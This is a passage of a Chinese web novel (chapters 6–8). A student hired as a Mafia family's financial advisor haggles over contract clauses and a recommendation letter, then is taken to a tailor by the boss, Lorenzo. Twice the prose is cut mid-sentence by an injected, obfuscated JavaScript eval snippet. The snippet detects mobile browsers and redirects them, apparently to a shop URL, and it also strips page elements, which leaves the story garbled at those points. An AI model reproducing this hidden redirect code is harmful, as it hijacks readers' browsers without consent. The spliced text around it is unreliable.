卢卡奥深吸一口气,从西装内袋里掏出手机,飞快地打了几个字,然后抬起头看着我。 “还有吗?”他问,语气里带着一种“请一次性说完”的恳求。 我想了想。 “还有一个,不是合同条款的问题,是一个额外的请求。” “什么请求?” “合同到期之后,或者终止之后,能不能给我提供一份推荐信?” 卢卡奥的笔尖在纸上戳了一个洞。 “……推荐信?” “对,”我说,语气认真得像在跟导师讨论学术规划,“我想申请研究生。经济学的硕士项目通常需要两到三封推荐信,其中至少一封应该来自跟专业相关的实践经历。如果我能写‘曾在维斯科尼企业担任财务分析顾问’,再加上一封详细的推荐信,对我的申请会很有帮助。” 以及奖学金申请。 卢卡奥看着我。 我看着卢卡奥。 马可看着我们两个。 安静持续了大约三秒钟。然后卢卡奥缓缓摘下眼镜,用那块麂皮绒布仔仔细细地擦了擦镜片,又慢慢戴上。他转过头,用一种近乎求救的眼神看向马可。 马可终于说话了。他说:“我出去抽根烟。” 然后他走了。 他走了。 一个一米九的Mafia打手,在一个留学生面前,选择了逃跑。 卢卡奥看着马可消失在门口的背影,嘴唇微微颤抖了一下。他掏出手机,拨了一个号码,电话接通后他用意大利语飞快地说了一通。我听不太懂全部,但我听懂了“consulente finanziario”和“studente”这两个词,以及最后那句“Sì, lo so, ma lui ha ragione”——“是的,我知道,但他说得对”。 挂了电话,卢卡奥站起来,深吸一口气。 “BOSS请您下去。” “下去?” “他在一楼等您。” 下楼。 我跟着卢卡奥穿过走廊,走下那道铺着深色地毯的楼梯。马可跟在后面,脚步声很轻,但存在感很强。 一楼书房的门是开着的。洛伦佐坐在一张巨大的深色书桌后面,手里拿着一支笔,正在看什么东西。他换了一件深蓝色的衬衫,袖口卷到小臂,露出一截戴着手表的腕骨。 那双翠绿色的眼睛从文件上抬起来,看了我一眼,然后落在卢卡奥身上。 那个眼神,怎么说呢,不是生气和不耐烦,是一种“你给我解释一下为什么一个留学生能让我的法务总监打电话求救”的审视。 卢卡奥的额头已经渗出了细密的汗珠。他站在书桌前,腰板挺得笔直,声音却有些发紧:“BOSS,合同的事有一些细节需要确认——” “细节。”洛伦佐重复了一遍这个词,翠绿色的眼睛从卢卡奥身上移到我身上,又移回卢卡奥身上。 “税后的问题,”卢卡奥说,“中文版本没有写明税后,需要补充。还有管辖条款,三个版本不一致,中文版写的是‘有管辖权的法院’,没有明确专属管辖。还有竞业限制条款没有写明补偿标准。还有——” “还有推荐信。”我小声补充了一句。 6. chapter6 一点都不过分,毕竟我可是BOSS直聘招进来的,冒着挂科补考退学遣返的风险干活,只是想要一份看得过去的推荐信而已。 甚至推荐信内容我都可以写好,只需要一个签名。 - 卢卡奥的身体僵了一下。 洛伦佐的手指在桌面上顿了一下。 “推荐信,”他重复了一遍,翠绿色的眼睛里闪过一丝我看不懂的光,“你要推荐信做什么?” “对,”我说,“我想申请研究生,需要推荐信。如果合同期满之后您这边能提供一封详细的推荐信,对我的学术申请会很有帮助。” 洛伦佐看着我,翠绿色的眼睛里有一个极其微妙的闪光。那种光我在仓库里见过一次,在咖啡厅里见过一次,是一种介于“你是不是有病”和“你是不是认真的”之间的复杂情绪。 “你,”他说,声音很慢,“在我的客厅里,跟我的法务总监谈合同,顺便要了一封推荐信?” “不是顺便,”我纠正道,“是作为一个独立的条款来讨论的。推荐信的质量直接影响到我的研究生申请结果,而研究生申请的成败又影响到我未来的职业发展。既然这份合同的期限和内容会占用我大量时间,那么合同终止后的推荐信就是整体报酬的一部分——” 洛伦佐盯着我看了三秒钟。 我无辜地看着他,表情里写满了‘这一点都不过分’。 然后他笑了。 那是一种更复杂的、带着某种“你到底是个什么物种”的好奇的笑。 “推荐信,”他说,“到时候我亲自给你写。” “……真的?” “我说话算话。” “那能不能用英文写?因为意大利语的推荐信其他国家的学校可能不认——” “林恩。” “在。” “你再问一句,推荐信就没了。” 我闭嘴了。 洛伦佐收回目光,看着卢卡奥。翠绿色的眼睛里的温度瞬间降了下来,那种从“跟这个人说话”到“跟下属说话”的切换流畅得像变了一个人。 “卢卡奥。” “BOSS。”卢卡奥微微低下头。 “三份合同,”洛伦佐的声音不大,但每个字都像是秤砣一样砸在空气里,“为什么没有保持内容一致性?” 卢卡奥的额头上开始有细密的汗珠渗出。 “是我们的疏忽,BOSS,我们马上修改——” “税后的事情,”洛伦佐继续说,语气依然平静,“我昨天亲口答应过他。你在起草合同的时候,没有确认这个条件?” 卢卡奥的汗珠更密了。 “还有管辖条款。维斯科尼家族的合同,管辖法院写的是巴勒莫,这是基本原则。你让中文版写成了‘有管辖权的法院’?” “BOSS,这是翻译团队的问题——” “翻译团队是你找的,”洛伦佐打断他,“合同是你审的。签之前,你没有逐条核对三个版本?” 卢卡奥的嘴唇微微颤抖,但没有再辩解。 “去改。”洛伦佐说,两个字,语气平淡得像在说“把门关上”。 卢卡奥如蒙大赦,微微欠身,转身就往楼梯走。 “那个,洛伦佐先生。” 他侧过头,翠绿色的眼睛看着我。那眼神里写满了“你还有什么事”。 “如果我今天把合同签了,”我说,“明天能让我回学校吗?” 洛伦佐看着我,没有说话。 “我到现在已经旷了三次课了,马上就是第四次。”我赶紧补充,“计量经济学和宏观经济学。计量经济学的老教授脾气不好,上次有个同学旷了他的课,第二周交作业的时候他当着全班的面说‘这位同学可能觉得我的课不值得他花时间,那他的作业也不值得我看’。我不想被当众点名批评。” 很损留子自尊心的! 洛伦佐的表情没有变化。 “而且,”我说,越说越心虚,“全勤奖学金的缺勤额度是五次,我已经用了三次了。如果再缺明天,奖学金就没了。没了奖学金,我下学期的学费就——” “林恩。”洛伦佐的声音很平静。 “嗯?” “如果今天你能把合同签了,”他说,“明天我让人陪你去学校交请假条。” 我愣了一下:“……请假条?” “你昨天旷的课,今天旷的课,我会让人去学校处理。算请假,不算缺勤。” 我张了张嘴,想说点什么,但喉咙里像是被什么东西堵住了。 这不是感动。好吧,有一点点感动。但主要是——这人连学校请假都能搞定? “那我的奖学金——” “不会受影响。” “你确定?” 洛伦佐低下头继续看文件,不再看我。但那句从他嘴角逸出的话,我听得清清楚楚。 “我确定。” 我站在门口,看着那个低着头写字的男人。午后的阳光从窗户照进来,落在他黑色的头发上,在翠绿色的眼睛上方投下一小片阴影。他的侧脸线条锋利得像刀削出来的,但那个低头的角度,让整个人看起来没有那么危险了。 “谢谢你 ,老板。”我说。 我的心里飞速算着:交请假条意味着我不会被算作无故缺勤,全勤奖学金就保住了。虽然缺了两天课,但如果能补上作业和笔记,期末成绩应该不会受太大影响 房间重归安静,洛伦佐继续写东西,马可继续在门口装透明人,我继续站在那里,不知道该不该坐下。 有点后悔,应该多带一本书下来看,不然太浪费时间了。 我想了想,拿出手机,当着他们的面点开了意语单词背诵APP,不出声默背。 一个半小时后,门再次被敲响。 卢卡奥站在门口,手里拿着一个新的牛皮袋,额头上还有没擦干的汗。他的领带歪了一点,衬衫的领口也松开了一颗扣子,整个人看起来像是刚跑完一场马拉松。 “林恩先生,”他的声音有些沙哑,“合同改好了。请您过目。” 我接过牛皮袋,把三份合同拿出来,并排放在茶几上。 然后我又掏出了手机,再一次打开翻译软件。 卢卡奥的嘴角抽搐了一下。 “林恩先生——” “我保证这次快一点,”我说,“就快速过一遍关键条款。” 卢卡奥深吸一口气,后退一步,靠在了墙上。他的表情已经完全放弃了抵抗,变成了一种“来吧,反正我也拦不住你”的平静。 这次我快了很多。税后,写了,在附件一里明确标注了“importo alto delle imposte”。福利,列了一个清单,INPS、INAIL、医疗保险,全部由甲方承担。加班费,写了,平日1.5倍,节假日2倍。专属管辖地,统一改成了巴勒莫。 附件也附在后面了。服务范围写的是“为维斯科尼家族企业的财务活动提供分析、评估与咨询建议”,报酬明细写的是按月支付,税后,时薪折合下来…… 我愣了一下,又数了一遍零。 然后我抬起头,看向洛伦佐。 洛伦佐正看着我,翠绿色的眼睛里带着一种“现在还有什么问题吗”的挑衅。 “这个时薪,”我说,“是不是多写了一个零?” “没有。”洛伦佐说。 “可是——” “没有可是。” 我看着他,他看着我。 我低下头,在每一份合同的最后一页签上了自己的名字。中文签名,一笔一划,林恩。 签完字的那一刻,我感觉到一种奇异的平静。就像考试交卷的那一瞬间——你已经做了你能做的所有准备,剩下的,就看阅卷老师的心情了。 卢卡奥如释重负地收走了三份合同,他合上文件夹的时候,手指还在微微发抖。 “合作愉快,林恩先生。”他说,笑容比刚才自然了一些,但眼底的疲惫估计要一个星期才能消下去。 “合作愉快。”我说,“顺便问一下,可以发我一份电子版留存吗,我会自己去打印的。” 卢卡奥看了洛伦佐一眼,洛伦佐不说话,只是扬了扬下巴、 “明天会把复印件给您。” “哦,好的,谢谢。” 卢卡奥几乎是逃一般地离开了客厅。 客厅里又安静了。 我站在那里,手里记录下关键条款的手机,忽然想到了一个问题。 “那个,”我抬起头,看着洛伦佐,“老板,我签了字,是不是就意味着我正式成为维斯科尼家族的一员了?” 洛伦佐正在看手机,闻言抬起了头。翠绿色的眼睛里闪过一丝意外,大概没想到我会问这个问题。 他没有回答,看向了马可。 马可从门口走过来,面无表情地说:“你是外聘顾问,不是家族成员。你和维斯科尼企业有限公司之间是合同关系,不是隶属关系。” “哦,”我点了点头,长出了一口气,“那就行。” 洛伦佐的眉毛微微挑了一下,翠绿色的眼睛盯着我。 “那就行?”他重复了我最后那句话,嘴角挂着一个似笑非笑的弧度。 “嗯,”我说,“就是确认一下。” “为什么?” 我犹豫了一下,但转念一想,这事也没什么好隐瞒的。 “嗯……我不打算改变国籍.”我说,语气真诚得像在跟导师汇报人生规划,“以后回国要写履历的,甚至我还想试试考公考编。” 洛伦佐的眉毛挑得更高了。 “考公考编?” “对,公务员考试或者事业单位编制,”我解释道,“经济专业有很多对口的地方能去,比如税务局、财政局、发改委、统计局——” “税务局。”洛伦佐重复了一遍这个词,翠绿色的眼睛里闪过一丝复杂的情绪。 “对,税务局,”我点头,“还有审计署、人民银行、银保监会……这些都是经济专业的传统去向,这些单位每年都招经济学的毕业生。但是考公考编的政审很严格,如果档案里有‘境外组织成员’的记录,政审可能过不了。” 客厅里安静了两秒钟。 洛伦佐看着我,那个表情就像一个人发现自己的宠物猫其实是一只会算微积分的猫。 “你,”他终于开口了,声音里带着一种说不清道不明的情绪,“在Mafia当财务顾问,同时计划着毕业后去税务局上班?” “对,”我说,“请问,您有什么问题吗?” 旱涝保收的铁饭碗,安安稳稳干到退休,不好吗? 洛伦佐看着我的眼神,就像一个人看着一匹马在自己面前倒着走。 “没有。”他说。 但他的表情出卖了他。 “所以,”他慢悠悠地开口,“如果以后你回国,政审的时候被问到‘有没有为境外组织工作过’,你打算怎么回答?” 我想了想。 “我就说,我为一家意大利家族企业的农业部门做过财务顾问。” “农业部门?”洛伦佐的声音微微上扬。 “对,”我点头,“西西里的农业很有名的,柠檬、橄榄油、葡萄酒……这些都是农产品。维斯科尼家族如果有农业方面的业务,那我就是为意大利的农业现代化做过贡献的,这说起来很好听。” 洛伦佐盯着我看了三秒钟。 然后他笑了。 下一秒洛伦佐收起笑容,翠绿色的眼睛重新变得深邃起来。他看了我两秒钟,然后问了一句完全不相干的话。 “你看了多久?” “什么?” “合同。你看了多久才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449716|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找出卢卡的问题?” 我想了想:“大概四十分钟吧。从卢卡奥进门到我们下楼。” 洛伦佐转头看向马可。 马可面无表情地说:“四十三分钟。” 哦,原来马可是计时的。 洛伦佐收回目光,重新看着我。翠绿色的眼睛里有光。 “四十分钟,”他说,声音很轻,“你找出了我的法务总监十几条问题。” “不是问题,”我赶紧找补,生怕他生气以为我在找茬,“只是一些需要确认的细节。因为以前做兼职的时候,遇到过合同翻译不一致的情况。当时是一家小公司,老板是中国人,客户是意大利人,合同经常要中意双语。有一次因为管辖条款的翻译不一致,打官司的时候扯皮扯了大半年,律师费都比争议金额高了。所以从那以后,我看到多语言合同就会下意识地比对一下,算是一种……职业习惯?” “职业习惯,”洛伦佐重复了一遍这个词,语气里带着一种微妙的玩味,“一个二十一岁的留学生,职业习惯是逐字核对多语言合同的一致性。” “我那是被坑怕了,”我诚恳的说,“老板您知道学生兼职有多容易被坑吗?我第一份兼职老板让我签了一份全是意大利语的合同,我看都没看就签了,后来才发现里面写着‘员工离职需提前三个月通知否则扣除一个月工资’。意大利的劳动法根本不允许这种条款,但因为签了字,我花了两个月才把钱要回来。吃一堑长一智嘛。” “够了。”洛伦佐抬手打断了我。 他看着我的眼神变了,变得更深、更沉,像是一片翠绿色的深海。 “卢卡奥在维斯科尼家族干了八年,”他说,声音不大,但每一个字都很清楚,“八年里,从来没有人在合同上挑出过问题。” 我愣了一下。 “不是因为他写得好,”洛伦佐的嘴角微微上扬,那个弧度介于嘲讽和自嘲之间,“是因为没有人会仔细看。” 房间安静了一瞬。 “你是第一个。”他说。 那个“第一个”在我脑子里转了好几圈,但我不敢细想它是什么意思。 “所以,”我清了清嗓子,试图把话题拉回到更务实的方向,“明天真的能去学校交请假条吗?” 洛伦佐看了我一眼,翠绿色的眼睛里那个柔软的东西消失了,取而代之的是一种“你能不能别这么煞风景”的嫌弃。 “签完字了,”他说,“明天马可带你去。交完请假条就回来。” “那我能顺便去图书馆还书吗?”我问。 洛伦佐看着我,翠绿色的眼睛里写满了疲惫。 “什么书?” “《宏观经济学概论》,”我说,“从学校图书馆借的,逾期一天罚五欧。我已经逾期五天了,罚到二十五欧了。” “二十五欧,”洛伦佐重复了一遍这个数字,语气平淡得像在念天气预报,“你在担心二十五欧的罚款。” “不仅仅是罚款的问题,”我认真地解释道,“图书馆的逾期记录会影响学生的信用评分。我们学校和意大利的信用信息系统有合作,如果逾期太多次或者逾期时间太长,可能会影响以后贷款、租房、甚至签证续签。虽然只是五天逾期不是什么大问题,但我还是想保持一个良好的信用记录。” 我从小到大都没有过任何处分! 洛伦佐看着我的表情,已经不能用“崩坏”来形容了。 那是一种“我已经放弃理解这个世界”的平静。 “明天,”他说,声音里带着一种经历了太多摧残之后的疲惫,“马可先带你去交请假条,然后去还书。然后回来。有任何问题吗?” “没有!”我说,“谢谢老板!” 洛伦佐的嘴角抽了一下。 “马可。” “在。”马可从门口应道。 “明天带他去学校。交请假条,还书,然后立刻带他回来。” “是。”马可的声音听上去似乎也很绝望。 洛伦佐又盯着我:“不要试图逃跑。” “不会的。” 我就是个两条腿的穷学生,跑不过四个轮子,也跑不过子弹。 当然我只能保证现在不跑。 “你最好不会。” 我用力点头。 “林恩。” “在。” “你是我见过的,最奇怪的留学生。” 我张了张嘴,想说什么又没说。 其实我觉得他应该也没怎么见过别的留学生。 洛伦佐继续看他的文件:“出去。” “好的老板。” 我上了二楼回到自己的房间,打开支付宝,看了一眼余额宝的收益。 三块七毛二。 不错。 明天去学校交请假条,去图书馆还书,把逾期费交了。 然后回来。 回到这个有地暖、有无限热水、有免费咖啡的地方。 我拿起手机,给教授发了封邮件。 尊敬的教授: 非常抱歉打扰您,因家庭紧急事务,需请假一周。下周的课程我会自学跟上,缺交的作业我会在返校后补交, 此致, 林恩 P.S. 如果您有推荐的关于索洛模型的补充阅读材料,能否邮件发给我?我不想落下课程进度。 紧接着我又给马可发了条消息:“马可,明天早上几点?” 三秒钟后,马可回复:“八点。” 又过了五秒钟,第二条消息来了:“不准在路上提奖学金。不准问能不能去上课。不准——” 消息到这里就断了,大概是打不下去了。 我放下手机,端起咖啡杯,走到窗边。 远处的海很美。 虽然我知道那片海底下可能绑着不少人,但从这个角度看过去,真的挺美的。 7. chapter7 别问我为什么一个穷留学生会出现在这种地方,问就是BOSS嫌我穿得太丢人。 穿的时候手在抖,不是因为冷,是因为价签上的零太多。 - 第二天早上七点五十八分,门被敲响了。 不是“咚咚咚”的那种敲门,是那种“我已经到了你准备好了吗”的通知式敲门。 我打开门,马可站在门口,穿着一件深色的夹克,面无表情地看着我。 “走了。” 没有多余的废话,甚至没有“早上好”。 我已经习惯了。经过这几天的相处,我总结出了马可的语言风格:能用一个字说完的绝不用两个字,能用沉默表达的绝不动嘴。我甚至怀疑他每天的KPI之一就是控制说话字数。 “等一下,我拿书包。”我转身回房间,把笔记本、笔袋、水杯、那本逾期五天的《宏观经济学概论》全部塞进书包。 马可看了一眼我鼓鼓囊囊的书包,嘴角似乎动了一下,但什么都没说。 我跟着马可下楼,穿过那条铺着地毯的走廊,出了大门。天刚亮不久,空气里带着一股潮湿的、混合着海风和泥土的气息。院子里停着那辆熟悉的黑色玛莎拉蒂,马可拉开后座的门,我正准备坐进去,脚停住了。 后排已经有人了。 洛伦佐靠在座椅上,手里拿着手机,头也不抬。他今天穿的是一件黑色的薄外套,里面是深灰色的高领毛衣,整个人看起来像是刚从杂志里走出来的。翠绿色的眼睛盯着屏幕,手指在屏幕上划了几下,然后锁屏,把手机收进口袋。 “上车。”他说。 我默默地坐了进去,把书包放在腿上,系好安全带。 车开了。 我看着窗外的街景,以为会往学校的方向开。我昨天查过地图,巴勒莫大学在主城区,从洛伦佐的庄园过去大概半小时。但车开了十分钟之后,我发现窗外的建筑越来越不像学校附近的样子。这里没有那种大学城特有的咖啡馆和书店,取而代之的是橱窗里摆着限量版手袋的奢侈品店和一尘不染的精品酒店。 “那个,”我小声问马可,“我们不是去学校吗?” 马可从后视镜里看了一眼后排,没有说话。 “先办别的事。”洛伦佐的声音从旁边传来,依然没有抬头看手机。 “什么事?” 他没有回答。 车又开了两分钟,停在了一条我从来没来过的街上,巴勒莫最贵的一条商业街——我在留学生群里听说过这个地方,据说这里的衣服价格后面的零比我银行卡余额的数字还多。当时群里有人问“有没有人去过这条街买东西”,大家的回复基本都是“去了,看了一眼价签,出来了”。 车在一家店门口停了下来。我透过车窗看出去,店面的门头是深色的木质招牌,上面用烫金的字体写着几个意大利语单词,我看不太懂,但“Sartoria”这个词我认识——裁缝店。 洛伦佐下了车,头也不回地往店里走。 我坐在车里没动。马可从后视镜里看了我一眼。 “下车。” “我?” 马可没有回答,只是拉开了我这边的车门。 我下了车,跟在洛伦佐后面走进了那家店。 推开门,一股好闻的木质香调扑面而来。店里很安静,只有轻柔的古典音乐在背景里流淌。橱窗里展示着一套剪裁精良的深蓝色西装,旁边放着一双锃亮的皮鞋,写满了‘我的价格你高攀不起’。而墙上挂满了各种面料样本,从深灰到藏青到炭黑,密密麻麻像一本巨大的色卡。柜台上放着一台老式的收银机,黄铜的,擦得锃亮。 一个头发花白的意大利老先生迎了上来,穿着一件马甲,戴着老花镜,整个人散发着一种“我做了四十年裁缝”的专业气质。 “Signor Viscunti,”他看到洛伦佐,微微欠身,语气恭敬但不卑不亢。 洛伦佐点了点头,下巴朝我这边微微扬了一下。 “他。” 老先生的目光转向我,老花镜后面的眼睛从上到下打量了我一遍。 那个目光和马可的不同,马可是在执行任务,老先生是真的在看一个人的身材数据。他的眼神专业而快速,像一台人体数据扫描仪。 “这位先生是……”老先生问。 “新来的顾问。”洛伦佐说。 老先生点了点头,没有再问。他朝我走过来,伸手示意我把手臂抬起来。 “请站到这里来,”他用带着浓重意大利口音的英语说,“我量一下尺寸。” 我回头看了一眼洛伦佐。 洛伦佐已经走到一张皮沙发前坐下,翘起二郎腿,翠绿色的眼睛看着我。 “你穿着这身去学校,”他说,语气平淡得像在说今天天气不错,“别人会以为维斯科尼家族快破产了。” 我低头看了看自己。 说实话,我觉得还行。这身衣服虽然旧了点,但干净。卫衣上的起球是因为洗了太多次,牛仔裤的褪色是因为穿了太久,球鞋上的黑迹是因为…… 好吧,确实有点寒酸。 “不用了吧,”我说,“我觉得挺好的,又不用见什么人。” “林恩。” “嗯?” “你是不是忘了,”洛伦佐的声音很轻很轻,“你现在是维斯科尼家族的顾问。” “外聘顾问。”我纠正道。 洛伦佐的嘴角抽了一下。 “外聘顾问,”他重复了一遍这个词,翠绿色的眼睛里写满了“你能不能别这么较真”,“那也是维斯科尼家族的人。你穿着这身走在街上,被人拍到,第二天报纸上就会写‘维斯科尼家族疑似陷入财务危机,顾问衣衫褴褛’。” 我觉得他在夸张,因为我不相信他会允许报纸登这种消息。 但我不敢说。 老裁缝已经拿来了软尺,站在我面前,用意大利语说了一长串。我听不太懂,求助地看向洛伦佐。 洛伦佐没有说话,只是微微抬了抬下巴,示意我配合。 我站在原地,张开双臂,像一个被测量的人体模型。老先生动作娴熟地在我身上比划起来——肩宽、胸围、腰围、臂长、腿长,每一个数据都念出来,意大利语,我没完全听懂,只看见旁边一个年轻助理飞快地记在本子上。 “平时穿什么尺码?”老先生问。 “我不知道,”我老实地用英语回答,“我都是在网店买的,L码吧,大概。” 老先生的软尺顿了一下。 他抬起头看着我,那个表情就像听到有人说“我平时都在加油站买牛排”。 他深吸一口气,继续量。 量完尺寸,老先生走到墙边,取下一排面料样本,放在桌上摊开。 “羊毛、羊绒、亚麻、丝毛混纺,”他一一介绍,“颜色的话,深蓝、炭灰、银灰和黑色都比较适合年轻人。如果想要正式一点,可以考虑——” 我小声道:“黑色吧,黑色耐脏——” “深蓝。”洛伦佐的声音从身后传来。 他靠在沙发上,翘着二郎腿,手里不知道什么时候多了一杯咖啡,翠绿色的眼睛正看着我。 老先生点了点头,从面料样本里抽出一块深蓝色的。 “羊毛的,四季款,适合巴勒莫的气候。” “试试。”洛伦佐说。 老先生示意助理去拿样衣。几分钟后,助理推着一个移动衣架出来了,上面挂了十几套样衣,从衬衫到西裤到外套,应有尽有。 “先试这套,”老先生拿起一套深蓝色的西装和配套衬衫递给我,“试衣间在那边。” 我接过那套西装,走进试衣间。 试衣间很大,里面有整面墙的镜子和一把丝绒面的椅子。我把自己的卫衣脱下来,穿上衬衫。 面料滑得像水一样,触感是我从来没体验过的,扣子不是塑料的,是那种厚实的贝母扣,在灯光下泛着柔和的光。西裤的面料同样柔软,但垂坠感很好,穿上之后裤线笔直得像刀裁出来的。西装肩线正好卡在肩膀的边缘,袖长刚好露出一截衬衫的袖口,腰身微微收拢,但一点都不紧绷。 我扣上扣子,转过身,对着镜子看了一眼。 嗯,还行,挺精神的,看着像是国内某个有钱的富二代公子哥。 然后我翻了一下价签。 我的手开始抖了。 不是因为冷,是因为那个数字。我数了一遍,以为看错了,又数了一遍。没错,那个数字后面跟着四个零。单位是欧元。 四位数!欧元! 一件衣服的价格,够我交三年的学费。 我站在试衣间里,手里攥着标签牌,脑子里飞速运转着经济学101原理:这件衣服的边际效用对我而言,远远低于它的机会成本。 四舍五入就是——我为什么要花三年的学费买一件衣服? 我深吸一口气,告诉自己:没事,不是让你买,是试试而已。试衣服不花钱,试衣服不花钱,试衣服不花钱。 重要的事情说三遍,我的心脏终于从嗓子眼回到了胸腔里。 我打开试衣间的门,走了出去。 老裁缝看到我,眼睛一亮,嘴里冒出一串意大利语的赞美词,我只听懂了“perfetto”和“bellissimo”。他拉着我转了个圈,又在我肩膀上捏了捏,似乎在确认肩线的位置是否合适。 而我的注意力不在他身上。 因为洛伦佐不知道什么时候从沙发上站了起来。 他站在我面前三步远的地方,翠绿色的眼睛落在我身上。那种目光和之前不一样——之前他看我的时候,要么是审视,要么是不耐烦,要么是“这个人是不是有病”。但此刻,他的目光是一种我从未见过的、更沉更静的东西。 从我的肩膀,到腰线,到裤脚。 从头到脚,慢慢地看了一遍。 尤其是,我注意到他的目光在某个瞬间停顿了一下——大概是在我脖颈和领口的交界处,又大概是在衬衫袖口露出的一小截手腕上。 他的嘴角似乎扬了一下,幅度很小,小到我差点没捕捉到。翠绿色的眼睛里有什么情绪一闪而过,像是某种确认,又像是某种发现。 “还行。”他说,语气平淡得像在评价今天的天气。 但我注意到他说这两个字的时候,目光没有从我身上移开。 老先生在旁边点头:“这位先生的身材比例很好,肩宽腰窄,穿西装很显气质。这套成衣改一下袖长和裤长就可以,大概一周时间。” 洛伦佐点了点头,重新坐回沙发上,端起那杯已经凉了的咖啡。 “其他的也试试。”他说。 其他的。 我看了看那个移动衣架上挂着的十几套衣服——银色格纹的、藏青色双排扣的、炭黑色丝绒领的、浅灰色亚麻的…… “这些都要试?”我问。 “都要试。”洛伦佐翠绿色的眼睛微微眯了一下。 我默默地闭嘴,接过了第二套。 接下来的四十分钟,我经历了人生中最魔幻的一段时光。 我在试衣间和镜子之间来回穿梭,脱衣服、穿衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449717|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服、脱衣服、穿衣服,像一个被反复包装和拆开的快递。每一套衣服穿上去的时候,老先生都会上来调整一下这里、捏一下那里,然后退后两步,眯着眼睛看几秒钟,然后点点头或者摇摇头。 而洛伦佐全程坐在沙发上,看着手机,偶尔抬头看一眼。 每次我换好一套走出来,他都会抬头。 每次抬头,翠绿色的眼睛都会在我身上停留两到三秒。 然后他会说“换下一套”或者“这件可以”。 我注意到,他说“这件可以”的时候,目光停留的时间会比说“换下一套”的时候长那么一点点。 到第七套的时候,我已经试麻木了。我看着镜子里穿着灰色格纹三件套的自己,觉得这个人已经不是林恩了。林恩是一个穿着起球卫衣、在超市收银台后面扫码的穷留学生。而镜子里这个人,看起来像是要去参加米兰时装周走秀。 “够了,”洛伦佐终于开口了,声音里带着一种“已经看够了”的意味,“深蓝的那套,灰色格纹的那套,炭黑的那套。各做两件衬衫,深蓝和白色的。领带——” 他看了一眼我的脖子,嘴角似乎又动了一下。 “领带算了。” 我不知道他为什么说“领带算了”,但我不敢问。 虽然我也不会打领带。 老先生在本子上飞快地记着,一边记一边点头。 “一周后可以取,先生。” 我赶紧回到试衣间,把西装脱下来,小心翼翼地挂在衣架上,然后飞快地穿上自己的卫衣和牛仔裤。 穿上自己衣服的那一刻,我有一种奇异的落差感。就像刚刚体验了一把有钱人的生活,然后又被扔回了冷冰冰的现实。 但说实话,还是卫衣舒服。西装虽然好看,但穿上之后总觉得哪里都不能靠、哪里都不能碰,整个人像被装进了一个精致的笼子里。 我背起书包,走出试衣间,就看见马可拿着一个袋子。 洛伦佐接过袋子,递给我。 “衣服做好之前,先穿这个。”洛伦佐面无表情地说,“你原来的那些——” 他看了一眼我身上那件起球的卫衣,翠绿色的眼睛里有一种“我不想再看第二眼”的嫌弃。 “扔了。” “扔了?!”我条件反射地拔高了声音,“那件卫衣我才买一年半,很舒服的——” “林恩。” 洛伦佐翠绿色的眼睛里带着一种“不要再让我说第二遍”的警告。 我识相地闭嘴,拿着袋子回到了试衣间。 试衣间里我打开袋子一看——浅蓝色的针织衫,白色的衬衫,一条黑色的长裤,还有一双白色的运动鞋。 不是那种浮夸的设计师款,就是简简单单的、干干净净的、看起来像是普通学生会穿的衣服。 我稍稍松了一口气,翻了一下针织衫的领标。 上面只有一行意大利语,看不懂。没有logo。没有任何品牌的标识。只有面料成分和洗涤说明,走线工整得像是机器绣出来的。 运动鞋底的白得发光,鞋面上没有任何logo,但那种简洁的设计和精致的走线,一看就不是超市里十九欧一双的那种。 我换上了衣服,感觉像是被一团棉花糖裹住了。 白衬衫的领子立起来刚好卡在脖颈两侧,袖口的扣子是那种深蓝色的珐琅扣,上面刻着一个小小的、我看不懂的徽章。 黑色长裤很合身,不紧不松。 白色的运动鞋踩在地上,鞋底的弹性好得不像话,每一步都仿佛踩在弹簧上。 我站在镜子前,看着镜子里的人。 头发还是有些凌乱乱的,东方式柔和的脸依旧纯良无害,甚至还显得有些年幼感,不像是大学生,倒像是高中生。 我推开门走出去。 洛伦佐正站在窗边,背对着我,不知道在看什么。听到试衣间的门响,他转过身来。 翠绿色的眼睛落在我身上。 这一次,他没有很快移开。 他看了大概两秒钟,或者三秒,或者更久,我没有数,因为我正在低头检查裤脚有没有踩到,防止平地摔。 “还行。”他说。 然后他转身往外走。 我不知道这是夸奖还是什么别的意思,所以决定不想。 跟着洛伦佐出了店门,我上了副驾驶,洛伦佐上了后排。马可发动了车,驶向今天真正的目的地——学校。 我坐在副驾驶,低头看着自己身上这件浅蓝色的针织衫,又看了看后视镜里洛伦佐那张面无表情的脸。 “那个,”我小声说,“这些衣服多少钱?我回头还——” “闭嘴。”后排传来一个冷冰冰的声音。 我闭嘴了。 - 巴勒莫大学。 车停在学校门口的时候,我的心情复杂得像期末考试前夜的复习进度。 两天前,我还是一个普通的留学生,最大的烦恼是房租和奖学金。两天后,我成了一个Mafia家族的财务顾问,口袋里揣着一部全新的iPhone,书包里放着一份时薪高得离谱的合同,身后跟着一个一米九的意大利壮汉。 “走吧。”马可下了车,站在车门旁边,目光扫了一眼周围的环境。 那种目光我见过。 在仓库里,洛伦佐开枪之前,他的手下也是这种目光。快速、警惕、带着一种“我在评估每一个人的威胁等级”的专业感。 “你不用这么紧张,”我说,“这里是大学,最危险的东西是期末考试的及格线和教授的记过处分。” 8. chapter8 Mafia名片真的很好用,以一个学生党的角度而言。 不知道下次请假能不能申请借用一张。 - 